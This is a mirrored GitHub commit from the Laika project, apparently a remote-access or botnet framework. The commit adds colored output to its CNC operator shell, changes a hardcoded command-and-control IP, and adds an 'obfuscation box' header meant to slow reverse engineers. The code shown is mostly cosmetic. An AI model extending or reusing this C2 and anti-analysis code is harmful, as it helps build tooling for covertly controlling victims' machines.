1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Shell: improved looks, added colored output

This commit is contained in:
CPunch 2022-03-21 17:47:46 -05:00
parent 30f7ffb73b
commit 192bf22225
8 changed files with 125 additions and 26 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 445 KiB

After

Width:  |  Height:  |  Size: 392 KiB

40
lib/include/lbox.h Normal file
View File

@ -0,0 +1,40 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include <inttypes.h>
#include "lvm.h"
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping.
*/
enum {
BOX_IP,
BOX_PUBKEY,
BOX_MAX
};
struct sLaikaB_box {
uint8_t *data;
uint8_t *unlockedData;
sLaikaV_vm vm;
};
inline void laikaB_unlock() {
}
/* safely free's allocated buffer using libsodium's api for clearing sensitive data from memory */
inline void laikaB_lock() {
}
#endif

View File

@ -8,7 +8,7 @@
/* keys */ /* keys */
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" #define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" #define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
#define LAIKA_CNC_IP "127.0.0.1" #define LAIKA_CNC_IP "10.0.2.2"
#define LAIKA_CNC_PORT "13337" #define LAIKA_CNC_PORT "13337"
#endif #endif

View File

@ -15,25 +15,25 @@
#define LAIKA_VM_STACKSIZE 64 #define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32 #define LAIKA_VM_CONSTSIZE 32
struct sLaika_vm_val { struct sLaikaV_vm_val {
union { union {
uint8_t i; uint8_t i;
void *ptr; void *ptr;
}; };
}; };
struct sLaika_vm { struct sLaikaV_vm {
struct sLaika_vm_val stack[LAIKA_VM_STACKSIZE]; struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaika_vm_val constList[LAIKA_VM_CONSTSIZE]; struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
int pc; int pc;
}; };
#define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0}) #define LAIKA_MAKE_VM(consts, code) (struct sLaikaV_vm)({.constList = consts, .code = code, .pc = 0})
/* constants */ /* constants */
#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i}) #define LAIKA_MAKE_VM_INT(i) (struct sLaikaV_vm_val)({.i = i})
#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr}) #define LAIKA_MAKE_VM_PTR(ptr) (struct sLaikaV_vm_val)({.ptr = ptr})
/* instructions */ /* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a #define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b #define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
@ -58,7 +58,7 @@ enum {
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [uint8_t] */ OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [uint8_t] */
}; };
inline void laikaV_execute(struct sLaika_vm *vm) { inline void laikaV_execute(struct sLaikaV_vm *vm) {
#define READBYTE (vm->code[vm->pc++]) #define READBYTE (vm->code[vm->pc++])
#define BINOP(x) { \ #define BINOP(x) { \

View File

@ -12,8 +12,34 @@
#include "sclient.h" #include "sclient.h"
typedef enum {
TERM_BLACK,
TERM_RED,
TERM_GREEN,
TERM_YELLOW,
TERM_BLUE,
TERM_MAGENTA,
TERM_CYAN,
TERM_WHITE,
TERM_BRIGHT_BLACK,
TERM_BRIGHT_RED,
TERM_BRIGHT_GREEN,
TERM_BRIGHT_YELLOW,
TERM_BRIGHT_BLUE,
TERM_BRIGHT_MAGENTA,
TERM_BRIGHT_CYAN,
TERM_BRIGHT_WHITE
} TERM_COLOR;
#define PRINTINFO(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
shellT_printf(__VA_ARGS__);
#define PRINTSUCC(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
shellT_printf(__VA_ARGS__);
void shellT_conioTerm(void); void shellT_conioTerm(void);
void shellT_resetTerm(void); void shellT_resetTerm(void);
const char *shellT_getForeColor(TERM_COLOR);
void shellT_printf(const char *format, ...); void shellT_printf(const char *format, ...);
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */ /* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */

View File

@ -3,10 +3,18 @@
#include "sclient.h" #include "sclient.h"
#include "sterm.h" #include "sterm.h"
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n██╗ █████╗ ██╗██╗ ██╗ █████╗\n██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n██║ ███████║██║█████╔╝ ███████║\n██║ ██╔══██║██║██╔═██╗ ██╔══██║\n███████╗██║ ██║██║██║ ██╗██║ ██║\n╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
int main(int argv, char *argc[]) { int main(int argv, char *argc[]) {
tShell_client client; tShell_client client;
bool printPrompt = false; bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t\t%s\n\n", " v"MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellC_init(&client); shellC_init(&client);
shellC_connectToCNC(&client, "127.0.0.1", "13337"); shellC_connectToCNC(&client, "127.0.0.1", "13337");

View File

@ -31,6 +31,8 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t endianness = laikaS_readByte(&peer->sock); uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian(); peer->sock.flipEndian = endianness != laikaS_isBigEndian();
PRINTSUCC("Handshake accepted!\n");
} }
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
@ -185,6 +187,8 @@ void shellC_cleanup(tShell_client *client) {
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
struct sLaika_socket *sock = &client->peer->sock; struct sLaika_socket *sock = &client->peer->sock;
PRINTINFO("Connecting to CNC...\n");
/* create encryption keys */ /* create encryption keys */
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n"); LAIKA_ERROR("failed to gen session key!\n");
@ -291,9 +295,9 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
/* let user know */ /* let user know */
if (!shellC_isShellOpen(client)) { if (!shellC_isShellOpen(client)) {
shellT_printf("\nNew peer connected to CNC:\n"); PRINTSUCC("Peer %04d connected\n", id)
shellP_printInfo(newPeer);
} }
return id; return id;
} }
@ -304,9 +308,9 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
/* remove peer from hashmap */ /* remove peer from hashmap */
hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer}); hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
/* tell user */
if (!shellC_isShellOpen(client)) { if (!shellC_isShellOpen(client)) {
shellT_printf("\nPeer disconnected from CNC:\n"); PRINTINFO("Peer %04d disconnected\n", id)
shellP_printInfo(oldPeer);
} }
/* finally, free peer */ /* finally, free peer */

View File

@ -35,6 +35,27 @@ void shellT_resetTerm(void) {
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
} }
const char *shellT_getForeColor(TERM_COLOR col) {
switch (col) {
case TERM_BLACK: return "\033[30m"; break;
case TERM_RED: return "\033[31m"; break;
case TERM_GREEN: return "\033[32m"; break;
case TERM_YELLOW: return "\033[33m"; break;
case TERM_BLUE: return "\033[34m"; break;
case TERM_MAGENTA: return "\033[35m"; break;
case TERM_CYAN: return "\033[36m"; break;
case TERM_WHITE: return "\033[37m"; break;
case TERM_BRIGHT_BLACK: return "\033[90m"; break;
case TERM_BRIGHT_RED: return "\033[91m"; break;
case TERM_BRIGHT_GREEN: return "\033[92m"; break;
case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
case TERM_BRIGHT_BLUE: return "\033[94m"; break;
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
case TERM_BRIGHT_CYAN: return "\033[96m"; break;
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
}
}
void shellT_printf(const char *format, ...) { void shellT_printf(const char *format, ...) {
va_list args; va_list args;